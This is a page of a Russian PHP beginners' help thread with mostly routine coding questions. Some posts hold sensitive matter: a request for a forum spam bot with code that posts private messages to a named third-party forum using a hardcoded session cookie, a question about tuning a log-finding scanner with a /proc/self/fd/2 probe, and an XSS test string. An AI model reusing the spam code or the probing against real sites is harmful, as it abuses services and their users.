Вход

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 [65] 66

LStr1ke
16.05.2010, 21:32
Ставишь на mozilla Live HTTP Headers (както так, или Naviscope) постишь на форуме, смотришь HTTP пакет.
Куки получай через CURL - авторизировавшись на том форуме. Потом их используй при отправке HTTP пакета

Compton
17.05.2010, 07:47
Помогите с куками
нужно установить куки на поле 'user' и 'password',так,чтобы можно было ходить по сайте без последующей авторизации

phpdreamer
17.05.2010, 08:14
Помогите с куками
нужно установить куки на поле 'user' и 'password',так,чтобы можно было ходить по сайте без последующей авторизации
ни в коем случае никаких паролей в куках!
там только id сессии и данные, которые не секретны

http://pyha.ru/articles/php/cookie/

Jazz
18.05.2010, 20:00
нужен простейший скрипт спамилки форума(заполнить форму и нажать на кнопку)
как это делаеться?

GLEB
18.05.2010, 21:12
помогите пожалуйста, мне нужнен скрипт,который будет создавать страницу, с данными из 3 полей. Сторница должна создоваться так:
1) шапка
2) текст введённый в форму
3) низ
Я написал скрипт, но в странице отсутствует шапка и низ. Вот код:
<?php
$verh = include("v.txt");
$niz = include("n.txt");
$name = $_GET['name'];
$adr = $_GET['adr'];
$sod = $_GET['sod'];
touch("$adr.html");
$fp = fopen("$adr.html","w");
fwrite ($fp, "$verh");
fwrite($fp, "$sod");
fwrite($fp, "$niz");
?>

что не так?

Compton
18.05.2010, 21:21
$_GET на $_REQUEST замени

GLEB
18.05.2010, 21:47
спасибо, но вопрос немного в другом

Sn@k3
18.05.2010, 21:52
GLEB
п.с. та страница что будет передавать там может стоять POST , это раз, уточняй у провайдера PHP хостинга такие моменты, порой у меня не работало чтолибо пришлось с ними париться вызванивать их) они правят свой phpini и тогда пашет

roxblnfk
18.05.2010, 22:10
помогите пожалуйста, мне нужнен скрипт,который будет создавать страницу, с данными из 3 полей. Сторница должна создоваться так:
1) шапка
2) текст введённый в форму
3) низ
Я написал скрипт, но в странице отсутствует шапка и низ. Вот код:
<?php
$verh = include("v.txt");
$niz = include("n.txt");
$name = $_GET['name'];
$adr = $_GET['adr'];
$sod = $_GET['sod'];
touch("$adr.html");
$fp = fopen("$adr.html","w");
fwrite ($fp, "$verh");
fwrite($fp, "$sod");
fwrite($fp, "$niz");
?>

что не так?

надо понимать, что $sod - это текст, введённый в форму?
ну для начала в fwrite($fp, ...); кавычки вторых аргументов лишние

touch("$adr.html");
$fp = fopen("$adr.html","w");
переменную $adr фильтровать надо, неотфильтрованный $_GET это такая бага, особенно в твоём случае.. :)

теперь по теме: шапка и низ получаются отсюда?
$verh = include("v.txt");
$niz = include("n.txt");
Вместо них единички получаются? проверь наличие return в v.txt и n.txt

$name = $_GET['name']; почему ни где не используется? :)

три строки
fwrite ($fp, "$verh");
fwrite($fp, "$sod");
fwrite($fp, "$niz");
можно заменить одной fwrite ($fp, $verh.$sod.$niz);

а форма у тебя GET отправляет? оО

Byrger
18.05.2010, 23:00
Если в крупном PHP проекте создавать таблицу в базе которая будет хранить инфу о пользователях, то стоит ли хранить всю инфу (более 80 значений) в 1 таблице или же разбить на несколько таблиц (допустим 1 с логинами другая с иной паспортов, 3 с инфой адресов)

И если создавать несколько таблиц то как делать структуру
1. Доп таблицы содержат ид пользователя, основную инфу и уникальный ид в таблице
А оснавная таблица содержит логин,пароль, мыло

2. Доп таблицы содержат инфу и уникальный ид этой инфы
А основная таблица содержит логин, пароль, было и ид из доп таблиц

LStr1ke
19.05.2010, 04:20
2 вариант
в доп таблице хранится доп инфа и ид основной.

lb~
20.05.2010, 00:05
как мне изменить скрипт logfinger.pl для поисков logs, чтоб он не останавлевался после того когда найдёт один log, а сканировал дальше?

LStr1ke
20.05.2010, 00:13
как мне изменить скрипт logfinger.pl для поисков logs, чтоб он не останавлевался после того когда найдёт один log, а сканировал дальше?
Нужно найти то место, где он останавливается.

lb~
20.05.2010, 00:15
Try proc/self/fd/2... YES

maxi-bum
20.05.2010, 00:42
"><script>alert()</script>
как это пофиксить в гостевой книги ?

Redwood
20.05.2010, 01:22
"><script>alert()</script>
как это пофиксить в гостевой книги ?
htmlspecialchars, htmlentities

maxi-bum
20.05.2010, 02:21
htmlspecialchars, htmlentities
как именно ?

Compton
20.05.2010, 08:53
если просто отобразить спарсенное,то все нормально,но если записать,то записи получаются соток
как можно исправить?

krypt3r
20.05.2010, 09:16
iconv-ить

Compton
20.05.2010, 09:23
не помогло

krypt3r
20.05.2010, 09:30
значит, неверные кодировки выбрали

Redwood
20.05.2010, 18:41
как именно ?
Обрабатывай все данные GET,POST и COOKIE этими функциями.
Пример $переменная = htmlentities ($_GET['переменная']);

Markerok
21.05.2010, 15:26
Собственно как вывести картинку png в другую картинку ?)

$icq = "824742"; /// аська)
$fp = fsockopen ("status.icq.com", 80, &$errno, &$errstr, 30) or die("[ERROR - Could not сonnect to server (status.icq.com)]");
fputs($fp, "GET /online.gif?icq=$icq&img=5&online= HTTP/1.0\n\n");
while(!feof($fp) && !$icq_finished) {
$line = fgets ($fp,128);
if (substr($line,0,9) == 'Location:') {
if (substr($line,13,11) == 'online1.gif') { // online
$online = "1";
$icq_finished = true;
} else {
$online = "0";
$icq_finished= true;
}
}
}
fclose($fp);
if($online == "1") {
$icq_stat="icq_on.png";
} elseif($online=="0") {
$icq_stat="icq_off.png";
} else {
$icq_stat="icq_xz.png";
}
$icq_stat = imagepng($icq_stat);
$patchik = dirname(__FILE__);
$fon = array("bkgrnd0.jpg", "bkgrnd1.jpg");
$random = $fon[rand(0,1)];
$img = imagecreatefromjpeg($random);
$color = imagecolorallocate ($img, 0, 0, 0);
$hour = (int)date('H');$hour=$hour;if ($hour>23){$hour=$hour-24;$day++;}
$minute = date('i');
$time = "$hour:$minute";
imagettftext($img, 20, 0, 60, 472, $color, 'digifaw.ttf', win2uni($time));
Вот кусок кода, надо вывести $icq_stat в координаты 43 190, помогите плз :)

heretic1990
21.05.2010, 15:51
в общем вывожу я из файла данные. подскажите как сложить все значения для переменной chas и z
$fop = fopen ("logs.txt", "r+");
while (!feof($fop))
{
$read = fgets($fop, 1000);
list($$chas,$z) = split(':',$read);

echo "$chas:$z <br>";



}
fclose($fop);

m0Hze
21.05.2010, 16:02
в общем вывожу я из файла данные. подскажите как сложить все значения для переменной chas и z
$fop = fopen ("logs.txt", "r+");
while (!feof($fop))
{
$read = fgets($fop, 1000);
list($$chas,$z) = split(':',$read);

echo "$chas:$z <br>";



}
fclose($fop);
В цикле делаешь аля:

$chasall=$chasall+(int) $chas;

Тоже самое для $z.
После цикла сделай вывод.

GivioN
21.05.2010, 21:18
Есть Вопрос не по теме...

Есть скрипт который выполняется заданую работу очень большое количесво времяни, так как есть ф-ия fsockopen, которая выполняет основную работу.
Паралельно инфа о выполненой работы заносится в БД, но почему-то не выводится Паралельно через echo.
С помощью какой ф-ии и как можно сделать что бы одновременно работал скрипт и выводилась инфа о проделаной работы?

roxblnfk
21.05.2010, 21:38
используй flush();

m0Hze
21.05.2010, 22:43
Есть Вопрос не по теме...

Есть скрипт который выполняется заданую работу очень большое количесво времяни, так как есть ф-ия fsockopen, которая выполняет основную работу.
Паралельно инфа о выполненой работы заносится в БД, но почему-то не выводится Паралельно через echo.
С помощью какой ф-ии и как можно сделать что бы одновременно работал скрипт и выводилась инфа о проделаной работы?
Пиши в файл. Так будет работать, а с выводом на экран - заебешься.

DMajere
22.05.2010, 00:15
Добрый день.
есть форма

<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="upload.php">

<fieldset>
<legend>Настройки импорта:</legend>
<table>
<tr>
<td class="label">
<label for="type">Тип прайса: </label>
</td>
<td class="field">

<select name="type">
<option value="1">Минотавр</option>
<option value="2">Форвард</option>
</select>
</td>
</tr>
<tr>
<td class="label">

<label for="multiplier">Множитель цены (курс &euro;, только для "Минотавр"): </label>
</td>
<td class="field">
<input type="text" name="multiplier" value="31" />
</td>
</tr>
<tr>
<td class="label">

<label for="prefix">Префикс для заголовка: </label>
</td>
<td class="field">
<input type="text" name="prefix" value="Кузовные запчасти и оптика/" />
</td>
</tr>
</table>
</fieldset>

<fieldset>
<legend>Загрузка файла:</legend>
<input type="hidden" name="MAX_FILE_SIZE" value="<?php echo $upload->getFilesizeLimit(0); ?>" />
<table>
<tr>
<td class="label">
<label for="userfile">XLS-файл: </label>
</td>

<td class="field">
<input type="file" name="userfile" />
</td>
</tr>
<tr>
<td colspan="2" class="submit">
<input type="submit" value="Загрузить" />
</td>
</tr>

</table>
</fieldset>
</form>

Как видно из кода, требуется передать не сервер файлик, в рабочем виде можно увидеть здесь (http://spb-kuzov.ru/admin)
Пример того что грузим здесь (http://files.mail.ru/9HKTBU)
При загрузке выбрать тип - форвард

При попытке загрузить получаю - Method Not Allowed
The requested method POST is not allowed for the URL /admin/upload.php.

Сам аплоад.пхп

<?php

define( 'FROM_INDEX', true );
define( 'ROOTPATH', dirname(__FILE__) . '/' );

require_once ROOTPATH . '/includes/config.inc.php';
require_once ROOTPATH . '/includes/functions.inc.php';

require_once ROOTPATH . 'classes/upload_wrapper.class.php';
$upload = new UploadWrapper();

require_once ROOTPATH . 'classes/indata_handler.class.php';
$indata = new InDataHandler();

require_once ROOTPATH . 'classes/excel_reader.class.php';

$file_type = $indata->getVar( 'type', 'int', 'gp' );
$price_multiplier = $indata->getVar( 'multiplier', 'float', 'gp' );
$header_prefix = $indata->getVar( 'prefix', 'html', 'gp' );

$result = $upload->doUploadFile(
$_FILES['userfile'],
$config['temp_dir'],
0,
'price' . $file_type . '.xls'
);

if ( $result == false )
{
echo '<h1>РћС?РёР±РєР° загрузки:</h1>', $upload->getUploadError();
}
else
{

$xls_data = new Spreadsheet_Excel_Reader(
$config['temp_dir'] . 'price' . $file_type . '.xls',
true
);

switch ( $file_type )
{
case 1:
require_once ROOTPATH . 'includes/price1.inc.php';
break;
case 2:
require_once ROOTPATH . 'includes/price2.inc.php';
break;
}
}

?>



И класс upload_wrapper

<?php


if ( !defined('FROM_INDEX') )
{
die('Hacking attempt!');
}

class UploadWrapper
{

private $upload_errors = array(
UPLOAD_ERR_INI_SIZE => 'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
UPLOAD_ERR_FORM_SIZE => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
UPLOAD_ERR_PARTIAL => 'The uploaded file was only partially uploaded.',
UPLOAD_ERR_NO_FILE => 'No file was uploaded.',
UPLOAD_ERR_NO_TMP_DIR => 'Missing a temporary folder.',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk.',
UPLOAD_ERR_EXTENSION => 'File upload stopped by extension.',
);
private $max_filesize = 0;
private $max_postsize = 0;
private $upload_error = '';

public function __construct()
{
$this->max_filesize =
$this->convert_phpini_bytes( ini_get('upload_max_filesize') );
$this->max_postsize =
$this->convert_phpini_bytes( ini_get('post_max_size') );
}


public function convert_phpini_bytes( $value )
{
if ( ! is_numeric( $value ) )
{
$mul = strtolower( substr( $value, -1 ) );
$mul = ( $mul === 'm' ? 1048576 :
( $mul === 'k' ? 1024 :
( $mul === 'g' ? 1073741824 : 1 )
) );
$value *= $mul;
}
return $value;
}


public function getMaxUploadFilesize()
{
return ( $this->max_postsize < $this->max_filesize ) ?
$this->max_postsize : $this->max_filesize;
}


public function getFilesizeLimit( $limit=0 )
{
$php_max_filesize = $this->getMaxUploadFilesize();
return ( $limit && ( $php_max_filesize > $limit ) ) ?
$limit : $php_max_filesize;
}


public function doUploadFile( $file, $dest, $sizelimit=0,
$name='', $allowd_mime=null )
{
$this->upload_error = 'Unknown error uploading file.';

if ( isset( $file['tmp_name'] ) &&
$file['size'] &&
( $file['error'] === UPLOAD_ERR_OK ) )
{
if ( $sizelimit && ( $file['size'] > $sizelimit ) )
{
$this->upload_error = $this->upload_errors(UPLOAD_ERR_FORM_SIZE);
}
elseif ( $allowd_mime && is_array($allowd_mime) &&
( ! in_array( $file['type'], $allowd_mime ) ) )
{
$this->upload_error = 'Incorrect file type.';
}
else
{
$filename = ( $name ? $dest . $name : $dest . $file['name'] );

if ( move_uploaded_file( $file['tmp_name'], $filename ) )
{
chmod( $filename, 0777 );
$this->upload_error = '';
}
else
{
$this->upload_error = 'Can\'t move file to uploading folder.';
}
}
}
elseif ( isset( $this->upload_errors[ $file['error'] ] ) )
{
$this->upload_error = $this->upload_errors[ $file['error'] ];
}

return ( $this->upload_error ? false : true );
}
public function getUploadError()
{
return $this->upload_error;
}

}

?>

Подскажите в чем накосячил?пхп.ини привести не могу, тк действо происходит на хостинге. на всякий случай приведу еще и то, что .htaccess написал
AddDefaultCharset UTF-8
<FilesMatch "\.(php|htm|html)$">
ForceType 'text/html; charset=UTF-8'
</FilesMatch>
php_value max_execution_time 300
php_value post_max_size 10M
php_value upload_max_filesize 10M
<Files .htpasswd>
deny from all
</Files>
RemoveHandler .html .htm
AddType application/x-httpd-php .php .htm .html .phtml

roxblnfk
22.05.2010, 00:33
а что у тебя делает пых в ХТМЛ коде?
<input type="hidden" name="MAX_FILE_SIZE" value="<?php echo $upload->getFilesizeLimit(0); ?>" />

DMajere
22.05.2010, 01:23
Выставляет лимит загружаемого файла, таким какой установлен на сервере
public function getFilesizeLimit( $limit=0 )
{
$php_max_filesize = $this->getMaxUploadFilesize();
return ( $limit && ( $php_max_filesize > $limit ) ) ?
$limit : $php_max_filesize;
}

roxblnfk
22.05.2010, 01:35
дак ведь он же в браузер (текст кода) выводится, а надо выводить то, что возвращает функция :) у тебя уже в сгенерированном ХТМЛ тексте написан пыховский код...

krusty
22.05.2010, 01:38
Здравствуйте, у меня такой вопрос

qwe
<?php
ob_clean();
echo "asd";
?>
Вот этот код в винде выведет только asd. И то, сработает только в том случае, если буфер перед сбросом был меньше 4kb, и только в апаче (в cli вываливается No buffer to delete).
В линуксе же ни в какую не хочет сбрасывать даже один байт.

Можно ли как нибудь заставить php сбрасывать буфер по ob_clean без указания начальной точки ob_start ?

DMajere
22.05.2010, 02:31
дак ведь он же в браузер (текст кода) выводится, а надо выводить то, что возвращает функция :) у тебя уже в сгенерированном ХТМЛ тексте написан пыховский код...

Да. увидел. странно, хендлер же в хтацессе добавлен, чтобы пхп выполнялось в хтмл скриптах. Видимо форс тайп перебивал их. убил его - заработало

Спасибо за наводку

Jazz
22.05.2010, 07:13
<?
$login ="111";


$login2 ="222";
$fp = fsockopen("www.kosmetichka.ru", 80, $errno, $errstr, 30);


if (!$fp) { //Если не приконектилось
echo "$errstr ($errno)<br />\n"; // выводим причину
} else {echo (111);};

$headers1 = "username_list=&icon=0&address_list%5Bu%5D%5B229%5D=to&subject=".$login."&addbbcode20=100&helpbox=%D0%A1%D0%BE%D0%B2%D0%B5%D1%82%3A+%D0%9C%D 0%BE%D0%B6%D0%BD%D0%BE+%D0%B1%D1%8B%D1%81%D1%82%D1 %80%D0%BE+%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0% B8%D1%82%D1%8C+%D1%81%D1%82%D0%B8%D0%BB%D0%B8+%D0% BA+%D0%B2%D1%8B%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B D%D0%BE%D0%BC%D1%83+%D1%82%D0%B5%D0%BA%D1%81%D1%82 %D1%83.&message=".$login2."&attach_sig=on&lastclick=1274369750&status_switch=0&post=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1 %82%D1%8C&creation_time=1274369750&form_token=c41954e715ce35f92cadac1236d010d3080e1af a";


$headers = "POST /kosmoforum/ucp.php?i=pm&mode=compose&action=post&sid=46efd73b09fc404c6a9a3a9eab57b611 HTTP/1.1\r\n";
$headers .= "Host: www.kosmetichka.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2) Gecko/20100115 MRA 5.6 (build 03278) Firefox/3.6\r\n";
$headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$headers .= "Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n";
$headers .= "Accept-Encoding: gzip,deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 115\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://www.kosmetichka.ru/kosmoforum/ucp.php?i=pm&mode=compose&u=229\r\n";
$headers .= "Cookie: phpbb3_7rm7y_u=1772; phpbb3_7rm7y_k=;\r\n";
$headers .= "phpbb3_7rm7y_sid=46efd73b09fc404c6a9a3a9eab57b611\ r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1;



//Content-Length: 113
//$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1;

fwrite($fp, $headers);
fclose($fp);

?>

не отправляет сообщение.пишет подключился.пробую на вирт сервере, подскажите где плиз ошибка.заранее спасибо

на бесплатном хостинге так


Warning: fsockopen(): unable to connect to www.kosmetichka.ru:80 in /home/k/kjukyf.hut2.ru/WWW/index.php on line 4
Operation not permitted (1)

Warning: fwrite(): supplied argument is not a valid stream resource in /home/k/kjukyf.hut2.ru/WWW/index.php on line 33

Warning: fclose(): supplied argument is not a valid stream resource in /home/k/kjukyf.hut2.ru/WWW/index.php on line 34

LStr1ke
22.05.2010, 10:12
RemoveHandler .html .htm
AddType application/x-httpd-php .php .htm .html .phtml

дак ведь он же в браузер (текст кода) выводится, а надо выводить то, что возвращает функция :) у тебя уже в сгенерированном ХТМЛ тексте написан пыховский код...
>_<

Chaak
22.05.2010, 13:12
Jazz, Operation not permitted

Jazz
22.05.2010, 15:45
Chaak
операция запрещена на моём сервере или куда конекчусь?
если на моём то можно ли через вирт сервер это организолвать?(через вирт серве ошибки нет, но и сообщение не отправилось)

roxblnfk
22.05.2010, 16:43
на твоём сервере запрещено. Ты юзаешь на своём компе это или на хостингах?

Jazz
22.05.2010, 17:08
roxblnfk на компе и хостинге!

на компе пишет что конектится но сообщение не отправляет else {echo (111);}; пишет 111

на хостинге Operation not permitted(ищу бесплатный с этой функцией т.к не уверен что с компа это работает)

roxblnfk
22.05.2010, 17:18
если сомневаешься в коде, то можешь мою функцию попробовать: https://forum.antichat.ru/threadedpost2156934.html#post2156929
кукис и пост отправляет, так же есть basic авторизация (описание в след. посте)

GivioN
22.05.2010, 22:28
Сорь за нубский вопрос, но раскуривать регулярки нет время, поэтому написал сюда:

переменнная
$answer = "Updated Date: 30-jan-2008
Creation Date: 04-apr-1996
Expiration Date: 05-apr-2017 тут дальше бла бла бла
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<";

выдернуть от туда вот это: 05-apr-2017

Пробовал через preg_match("/Expiration Date:\w{11} /", $answer, $date);

не получается =)

Kusto
22.05.2010, 22:38
Сорь за нубский вопрос, но раскуривать регулярки нет время, поэтому написал сюда:

переменнная
$answer = "Updated Date: 30-jan-2008
Creation Date: 04-apr-1996
Expiration Date: 05-apr-2017 тут дальше бла бла бла
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<";

выдернуть от туда вот это: 05-apr-2017

Пробовал через preg_match("/Expiration Date:\w{11} /", $answer, $date);

не получается =)

ясен пень что нифига не получиться....\w "Словарный" символ (символ, который используется в словах. Обычно все буквы, все цифры и знак подчеркивания ('_')) . ну и где ты тут тире (-) видеш? Тем более после Expiration Date: у тебя пробел стоит...

как вариант preg_match('#Expiration Date:\s(.*)\s#iU',$answer,$date);

P.S. не проверял

Fuckel
23.05.2010, 00:54
Сорь за нубский вопрос, но раскуривать регулярки нет время, поэтому написал сюда:

переменнная
$answer = "Updated Date: 30-jan-2008
Creation Date: 04-apr-1996
Expiration Date: 05-apr-2017 тут дальше бла бла бла
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<";

выдернуть от туда вот это: 05-apr-2017

Пробовал через preg_match("/Expiration Date:\w{11} /", $answer, $date);

не получается =)

/Expiration Date: ([^ ]+)/

GivioN
23.05.2010, 16:12
Fuckel, твой вариант работает, но иногда whois выдает это:

Expiration Date: 05-apr-2017
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<";

тогда получается что выдерается вот такая инфа:

05-apr-2017
>>>

Compton
23.05.2010, 18:13
есть ли сервис в который вводишь штата он тебе его диапазоны ип?

Kusto
23.05.2010, 20:13
Fuckel, твой вариант работает, но иногда whois выдает это:

Expiration Date: 05-apr-2017
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<";

тогда получается что выдерается вот такая инфа:

<?php
$answer = 'Updated Date: 30-jan-2008
Creation Date: 04-apr-1996
Expiration Date: 05-apr-2017 тут дальше бла бла бла
>>> Last update of whois database: Sat, 22 May 2010 15:31:30 UTC <<<';
preg_match('#Expiration Date:\s(.*)\s#iU',$answer,$date);
echo $date[1];
?>


есть ли сервис в который вводишь штата он тебе его диапазоны ип?
http://worldips.info/

Compton
24.05.2010, 12:17
есть код

<?
require('websock.php');
$wh=$_REQUEST['cit'];
$file=file_get_contents('base.txt');
preg_match_all('/(.+)\|'.trim($wh).', .+/',$file,$a);
foreach($a[1] as $h){

$s=new websock('nic.ru',80,false);

$ret=$s->get('/whois/?query='.$h.'');

preg_match('/NetRange:&nbsp;&nbsp; (.*) <br>/iU',$ret[1],$b);
echo $b[1].'<br>';
flush();
}
?>

он возвращает много ип
как удалить повторы?

Failure
24.05.2010, 12:38
разбиваешь результат на массив, а дальше - http://php.net/manual/en/function.array-unique.php

Compton
24.05.2010, 12:39
array_unique ошибки выдает

Failure
24.05.2010, 12:49
<?php
$x = Array('127.0.0.1', '127.0.0.2', '127.0.0.2', '111.111.111.0', '127.0.0.1');
print_r(array_unique($x));
?>

результат:

Array
(
[0] => 127.0.0.1
[1] => 127.0.0.2
[3] => 111.111.111.0
)


главной строку с ип-адрессами правильно на массив разбить

UPD: тебе надо что бы выводились уникальные ипы, или уникальные диапазоны ипов?

Compton
24.05.2010, 12:53
в этом и смысл
а ипы идут так:
Array ( [0] => 72.73.128.0 - 72.87.47.255 ) Array ( [0] => 71.96.0.0 - 71.127.255.255 )

Chaak
24.05.2010, 13:23
в этом и смысл
а ипы идут так:
Array ( [0] => 72.73.128.0 - 72.87.47.255 ) Array ( [0] => 71.96.0.0 - 71.127.255.255 )
я правильно понимаю:
Array
(
[0] => Array ( [0] => 72.73.128.0 - 72.87.47.255 )
[1] => Array ( [0] => 71.96.0.0 - 71.127.255.255 )
)
?

Compton
24.05.2010, 16:24
я правильно понимаю:
Array
(
[0] => Array ( [0] => 72.73.128.0 - 72.87.47.255 )
[1] => Array ( [0] => 71.96.0.0 - 71.127.255.255 )
)
?
тоже не то

Chaak
24.05.2010, 16:43
тоже не то
Составь конкретную задачу, не гадать же что ты хочешь
Мне например совершенно непонятно с каким массивом нужно иметь дело. И что требуется отсеять ? Уникальные записи или диапазоны ip? Что?

Vlad&slav
25.05.2010, 10:26
тоже не то
А ты регулярку в прегматче напиши ровно!

Как извращённый вариант записать все возможные адреса из диапазона, удалить дубли, разбить на диапазоны :D

#Wolf#
26.05.2010, 08:16
как заполнить массив таким образом?


0 0 0 0 0
0 1 1 1 0
0 1 2 1 0
0 1 1 1 0
0 0 0 0 0

phpdreamer
26.05.2010, 08:27
$a[] = array(0,0,0,0,0);
$a[] = array(0,1,1,1,0);
$a[] = array(0,1,2,1,0);
$a[] = array(0,1,1,1,0);
$a[] = array(0,0,0,0,0);

#Wolf#
26.05.2010, 08:28
$a[] = array(0,0,0,0,0);
$a[] = array(0,1,1,1,0);
$a[] = array(0,1,2,1,0);
$a[] = array(0,1,1,1,0);
$a[] = array(0,0,0,0,0);
спасибо, капитан.
теперь пожалуйста 100*100. (*sarcasm*)

Byte_
26.05.2010, 08:47
как заполнить массив таким образом?


0 0 0 0 0
0 1 1 1 0
0 1 2 1 0
0 1 1 1 0
0 0 0 0 0


$x = 100;
$y = 100;
$res = Array();
for($m = 0;$m<$x;$m++)
for($n = 0;$n<$y;$n++)
{
if($m == 0 || $n == 0 || $m == ($x-1) || $n == ($y-1))
{
$res[$m][$n] = 0;
}else if($m == round($x/2) && $n == round($y/2))
{
$res[$m][$n] = 2;
}else $res[$m][$n] = 1;
}


приблизительно так, не проверял правда...
должно всё по краям заполниться нулями, остальное единичками, в центре 2.

#Wolf#
26.05.2010, 09:29
не вы не поняли. должно по кругу увеличиваться - т.е 0 1 2 3 4 ...
я решил, но хотелось бы увидеть более рациональные решения.
---------------------------------------------------------------
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 0
0 1 2 3 3 3 3 3 3 3 3 3 3 3 3 3 2 1 0
0 1 2 3 4 4 4 4 4 4 4 4 4 4 4 3 2 1 0
0 1 2 3 4 5 5 5 5 5 5 5 5 5 4 3 2 1 0
0 1 2 3 4 5 6 6 6 6 6 6 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 7 7 7 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 8 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 8 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 7 7 7 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 6 6 6 6 6 6 5 4 3 2 1 0
0 1 2 3 4 5 5 5 5 5 5 5 5 5 4 3 2 1 0
0 1 2 3 4 4 4 4 4 4 4 4 4 4 4 3 2 1 0
0 1 2 3 3 3 3 3 3 3 3 3 3 3 3 3 2 1 0
0 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Byte_
26.05.2010, 10:37
не вы не поняли. должно по кругу увеличиваться - т.е 0 1 2 3 4 ...
я решил, но хотелось бы увидеть более рациональные решения.
---------------------------------------------------------------
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 0
0 1 2 3 3 3 3 3 3 3 3 3 3 3 3 3 2 1 0
0 1 2 3 4 4 4 4 4 4 4 4 4 4 4 3 2 1 0
0 1 2 3 4 5 5 5 5 5 5 5 5 5 4 3 2 1 0
0 1 2 3 4 5 6 6 6 6 6 6 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 7 7 7 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 8 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 8 8 8 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 7 7 7 7 7 6 5 4 3 2 1 0
0 1 2 3 4 5 6 6 6 6 6 6 6 5 4 3 2 1 0
0 1 2 3 4 5 5 5 5 5 5 5 5 5 4 3 2 1 0
0 1 2 3 4 4 4 4 4 4 4 4 4 4 4 3 2 1 0
0 1 2 3 3 3 3 3 3 3 3 3 3 3 3 3 2 1 0
0 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
вот это я подзапарился))) с тебя пиво! =)

$x = 7;
$y = 7;
$counter = 0;
$res = Array();
for($m = 0;$m<$x;$m++)
for($n = 0;$n<$y;$n++)
{
$counter = $m<$n?$m:$n;
$res[$m][$n] = $counter;
}
for($m = 0,$j = round($x/2);$m<$j;$m++)
for($n = 0,$i = round($y/2);$n<$i;$n++)
{
$res[$x-$m-1][$y-$n-1] = $res[$m][$n];
$res[$x-$m-1][$n] = $res[$m][$n];
$res[$m][$y-$n-1] = $res[$m][$n];
}
for($m = 0;$m<$x;$m++)
{
for($n = 0;$n<$y;$n++)
{
echo $res[$m][$n].'&nbsp;';
}
echo '<br />';
}

кстати пару коментов - первый цикл делает матрицу вида
0000
0111
0122
0123
а второй инверсирует левый верхний край.

#Wolf#
26.05.2010, 10:58
хм, забавно.
вот еще такой вариант

function make_square($x){ //не рекомендуется больше 19
for($k=0;$k<=floor($x/2);$k++)
for($i=$k;$i<=$x-$k;$i++)
for($j=$k;$j<=$x-$k;$j++)
if ($i==$k || $j==$k || $j==$x-$k || $i==$x-$k) $a[$i][$j]=$k;
return $a;}

Byte_
26.05.2010, 11:01
хм, забавно.
вот есть такой вариант

function make_square($x){ //не рекомендуется больше 19
for($k=0;$k<=floor($x/2);$k++)
for($i=$k;$i<=$x-$k;$i++)
for($j=$k;$j<=$x-$k;$j++)
if ($i==$k || $j==$k || $j==$x-$k || $i==$x-$k) $a[$i][$j]=$k;
return $a;}

ну вот( а я запаривался... хотя у меня меньше сравнения и итераций =)

-----------------------------------
мой скрипт от 1000 - 0.661491155624 сек
этот более 30 =)

roxblnfk
26.05.2010, 15:51
вот мой код (сделал от 0 до 100, тормозил только браузер, скрипт работал не больше секунды.. хреновы таблицы :) )
function olol0square($i){
if($i>0){
$j=2*$i-1;
$B=array_merge(range(0,$i-1),range($i,0));
$A=array_fill(0,$i,$B);
for($k=0;$k<$i;$k++)
for($l=$k+1,$m=$j-$k;$l<=$m;$l++)
$A[$k][$l]=$k;
